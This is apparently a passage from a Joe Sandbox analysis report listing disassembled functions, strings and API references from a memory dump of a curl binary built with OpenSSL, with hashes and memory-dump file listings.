String ID: Connection time-out$gfff$gfff$set timeouts for state %d; Total %ld, retry %d maxtry %d
API String ID: 3185150465-870032562
Opcode ID: 9039cafdc7a62b038f3e3902579fe15455ef7ed94cb28349cd3b218f900f27c3
Instruction ID: c7efc108128f058be91becf4b3771d8aab16e4dc579f990b91b6a314f8f4138c
Opcode Fuzzy Hash: 9039cafdc7a62b038f3e3902579fe15455ef7ed94cb28349cd3b218f900f27c3
Instruction Fuzzy Hash: 744192B1744A06ABD704DF7AED41A66B7E9FB88301F044639F809C7B81E731E9248B91

Function 00942730 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 127networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 0094287A

Strings

..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 009427E5
SSL_ERROR_WANT_READ, xrefs: 00942843
select/poll on SSL socket, errno: %d, xrefs: 009428B0
SSL read: %s, errno %d, xrefs: 00942886
SSL_ERROR_WANT_WRITE, xrefs: 00942856
..\..\openssl\openssl\ssl\ssl_lib.c, xrefs: 0094276C
SSL shutdown timeout, xrefs: 00942899

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\openssl\openssl\ssl\ssl_lib.c$..\..\openssl\openssl\ssl\ssl_lib.c$SSL read: %s, errno %d$SSL shutdown timeout$SSL_ERROR_WANT_READ$SSL_ERROR_WANT_WRITE$select/poll on SSL socket, errno: %d
API String ID: 1452528299-1885533763
Opcode ID: 0e94e7a427598c6e4c5d3b58290f7f8e33e154381537edabc3cb2fce211a5ade
Instruction ID: 390745f13a12564c2a5d2b07171ca8a745d1bb2e1635b77ee997f206e7c14b6b
Opcode Fuzzy Hash: 0e94e7a427598c6e4c5d3b58290f7f8e33e154381537edabc3cb2fce211a5ade
Instruction Fuzzy Hash: 73411C71A04301EBD710EF60DC82F6A73A5BB80318F10CA2CF55A5A3C2EB7599059762

Function 00998B40 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 111COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00998C2C
_memmove.LIBCMT ref: 00998C58

Strings

..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998B84
..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998C80
..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998BDC
..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998C94
..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998BB1
i <= EVP_MAX_MD_SIZE, xrefs: 00998C8A
i <= EVP_MAX_MD_SIZE, xrefs: 00998C76

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\s3_both.c$..\..\openssl\openssl\ssl\s3_both.c$..\..\openssl\openssl\ssl\s3_both.c$..\..\openssl\openssl\ssl\s3_both.c$..\..\openssl\openssl\ssl\s3_both.c$i <= EVP_MAX_MD_SIZE$i <= EVP_MAX_MD_SIZE
API String ID: 4104443479-587531886
Opcode ID: c6367bcbba5933a88b4d5fba1542963fc7d78520ec08febdc355ee99faad7a5e
Instruction ID: bcad37c1799b462bf8c5d4986ea09bdf96cd61fc69663b47806f121f6fb6fd87
Opcode Fuzzy Hash: c6367bcbba5933a88b4d5fba1542963fc7d78520ec08febdc355ee99faad7a5e
Instruction Fuzzy Hash: 80313D727403057BFB149619EC86FD3739DEB81715F04043AF6065B6C2EABAAD49C3A1

Function 0092D0B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 108COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 0092D0BF
_strrchr.LIBCMT ref: 0092D0D5
_strrchr.LIBCMT ref: 0092D106
_strrchr.LIBCMT ref: 0092D117
_free.LIBCMT ref: 0092D16E
_free.LIBCMT ref: 0092D195

Part of subcall function 00A1E832: RtlFreeHeap.NTDLL(00000000,00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?), ref: 00A1E846
Part of subcall function 00A1E832: GetLastError.KERNEL32(00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?,?), ref: 00A1E858

Strings

%s/%s, xrefs: 0092D150
%s%s, xrefs: 0092D149
://, xrefs: 0092D0B9

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strrchr$_free$ErrorFreeHeapLast_strstr
String ID: %s%s$%s/%s$://
API String ID: 3507812132-3147304931
Opcode ID: 0af5b187bae573fe6c721df72208fbaa80d72d9f82672e67ae6e40fb0144e487
Instruction ID: 257607ad34345bf98bacfa3b541fc978fc22d00e3b6c09f8b4ed6adf3e7e1427
Opcode Fuzzy Hash: 0af5b187bae573fe6c721df72208fbaa80d72d9f82672e67ae6e40fb0144e487
Instruction Fuzzy Hash: 8F213822B4633027E62429643D42FBB725CDFD1B91F184435ED098764BFA5B9D2A82E2

Function 009AEE60 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 358COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009AF104

Strings

..\..\openssl\openssl\crypto\x509v3\pcy_tree.c, xrefs: 009AF02D, 009AF04A, 009AF071
..\..\openssl\openssl\crypto\x509v3\pcy_cache.c, xrefs: 009AEF81
..\..\openssl\openssl\crypto\x509v3\pcy_tree.c, xrefs: 009AF18E, 009AF1AD, 009AF1CB
..\..\openssl\openssl\crypto\x509v3\pcy_cache.c, xrefs: 009AEF5D
..\..\openssl\openssl\crypto\x509v3\v3_purp.c, xrefs: 009AEF19
..\..\openssl\openssl\crypto\x509v3\pcy_tree.c, xrefs: 009AF089
..\..\openssl\openssl\crypto\x509v3\v3_purp.c, xrefs: 009AEF3A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\x509v3\pcy_cache.c$..\..\openssl\openssl\crypto\x509v3\pcy_cache.c$..\..\openssl\openssl\crypto\x509v3\pcy_tree.c$..\..\openssl\openssl\crypto\x509v3\pcy_tree.c$..\..\openssl\openssl\crypto\x509v3\pcy_tree.c$..\..\openssl\openssl\crypto\x509v3\v3_purp.c$..\..\openssl\openssl\crypto\x509v3\v3_purp.c
API String ID: 2102423945-2682941794
Opcode ID: 73f15743d46d1b3d1946e25f18c51fd8797063a6aea6aafdd501d57c0dfe8621
Instruction ID: d9c7cb93a629f3381624e1ad7b6dede57a04272711b7c1b070a15158d6e42841
Opcode Fuzzy Hash: 73f15743d46d1b3d1946e25f18c51fd8797063a6aea6aafdd501d57c0dfe8621
Instruction Fuzzy Hash: 2BC1DD357043019FEB24CF68D891B2AB7E4FB86B14F14492DEC599B2C2DBB4D9058BD2

Function 009AC370 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 231COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009AC526

Strings

..\..\openssl\openssl\ssl\s2_clnt.c, xrefs: 009AC572
..\..\openssl\openssl\ssl\s2_clnt.c, xrefs: 009AC3D9
..\..\openssl\openssl\ssl\s2_clnt.c, xrefs: 009AC4FC
..\..\openssl\openssl\ssl\s2_clnt.c, xrefs: 009AC5B7
..\..\openssl\openssl\ssl\s2_clnt.c, xrefs: 009AC45D
..\..\openssl\openssl\ssl\s2_clnt.c, xrefs: 009AC49A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\s2_clnt.c$..\..\openssl\openssl\ssl\s2_clnt.c$..\..\openssl\openssl\ssl\s2_clnt.c$..\..\openssl\openssl\ssl\s2_clnt.c$..\..\openssl\openssl\ssl\s2_clnt.c$..\..\openssl\openssl\ssl\s2_clnt.c
API String ID: 4104443479-3303645790
Opcode ID: 55506a4147f46984f9b683b46616dc11ff9f316be8d9187c1dd8ac1bfaeb33d7
Instruction ID: 7d7e39a77b930b175c378d04b689c28a164f51dee906d998705f533375887bae
Opcode Fuzzy Hash: 55506a4147f46984f9b683b46616dc11ff9f316be8d9187c1dd8ac1bfaeb33d7
Instruction Fuzzy Hash: 5181F5B17047019BD710DF28DD82B6AB7E5FF89704F04892DF9498B282DBB5E90987D2

Function 0094EBB0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 218COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0094EBF2
__aulldiv.LIBCMT ref: 0094EC03

Strings

Can't open %s for writing, xrefs: 0094ECA1
Can't get the size of %s, xrefs: 0094ED1A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 1362846788-3544860555
Opcode ID: 7abc2266f169aa95878093f7faeb75c43df8100e6c9faf55b4ce414df8703e3e
Instruction ID: 5cabee55f520a6994cc31f6c4608b967b35ad5bb16cdc899f42d8fc141e09672
Opcode Fuzzy Hash: 7abc2266f169aa95878093f7faeb75c43df8100e6c9faf55b4ce414df8703e3e
Instruction Fuzzy Hash: 0B718F71B047009FD724DF28D981B6BB7E5BF98314F04893EF99A87241EB75A9048B46

Function 009BA410 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 164COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 009BA536

Strings

..\..\openssl\openssl\crypto\x509v3\v3_info.c, xrefs: 009BA586
value=, xrefs: 009BA596
..\..\openssl\openssl\crypto\x509v3\v3_info.c, xrefs: 009BA5E6
..\..\openssl\openssl\crypto\x509v3\v3_info.c, xrefs: 009BA5C9
..\..\openssl\openssl\crypto\x509v3\v3_info.c, xrefs: 009BA511
..\..\openssl\openssl\crypto\x509v3\v3_info.c, xrefs: 009BA42A
..\..\openssl\openssl\crypto\x509v3\v3_info.c, xrefs: 009BA5D5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncpy
String ID: ..\..\openssl\openssl\crypto\x509v3\v3_info.c$..\..\openssl\openssl\crypto\x509v3\v3_info.c$..\..\openssl\openssl\crypto\x509v3\v3_info.c$..\..\openssl\openssl\crypto\x509v3\v3_info.c$..\..\openssl\openssl\crypto\x509v3\v3_info.c$..\..\openssl\openssl\crypto\x509v3\v3_info.c$value=
API String ID: 2961919466-3461665934
Opcode ID: f2e2d410c6e5881e0fc5db546ed9798f640e04a8f27aaa46a867fee71dffa79c
Instruction ID: 322d11c4c2f1f24f2a2567f7b6270206cbfc253a5501ef0f475c84c6d49961ba
Opcode Fuzzy Hash: f2e2d410c6e5881e0fc5db546ed9798f640e04a8f27aaa46a867fee71dffa79c
Instruction Fuzzy Hash: F951E2727043016BD710EE28D952BAFB796AFC0750F048428F8499B3D2EBB5DE0587A3

Function 009B4D50 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 145threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 009B4E0C

Strings

..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4EC1
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4E65
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4D72
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4DAF
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4E81
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4D93
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 009B4EE1

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CurrentThread
String ID: ..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c
API String ID: 2882836952-2396807625
Opcode ID: 2d3c0215b8d0473b9dfaf401a270dc6c9a81b576285024511a62864ab243545e
Instruction ID: e75873b35c22d1f57934f214ca7cca4d3ddc4c7287fa31f2372d77df6e269e1f
Opcode Fuzzy Hash: 2d3c0215b8d0473b9dfaf401a270dc6c9a81b576285024511a62864ab243545e
Instruction Fuzzy Hash: 9F4171347403016BE720DB98DD82FA673D8BB84B24F050919E918DB3C3EBB5ED559792

Function 00922C20 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00922C2B

Part of subcall function 00A1FD90: __FF_MSGBANNER.LIBCMT ref: 00A1FDA7
Part of subcall function 00A1FD90: __NMSG_WRITE.LIBCMT ref: 00A1FDAE
Part of subcall function 00A1FD90: RtlAllocateHeap.NTDLL(00F10000,00000000,00000001,00000000,00000000,00000000,?,00A2913C,?,?,?,00000000,?,00A29029,00000018,00A67E48), ref: 00A1FDD3

_memmove.LIBCMT ref: 00922C3C
_strrchr.LIBCMT ref: 00922C60
_free.LIBCMT ref: 00922C76
_strrchr.LIBCMT ref: 00922C87
_memmove.LIBCMT ref: 00922CFF

Strings

", xrefs: 00922C51
', xrefs: 00922C4C

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove_strrchr$AllocateHeap_free_malloc
String ID: "$'
API String ID: 1156476427-2422873937
Opcode ID: 376588f30a640765d5a5d7d1dda42dbc20b60abc177dc03dc7d4a3e3c5359acb
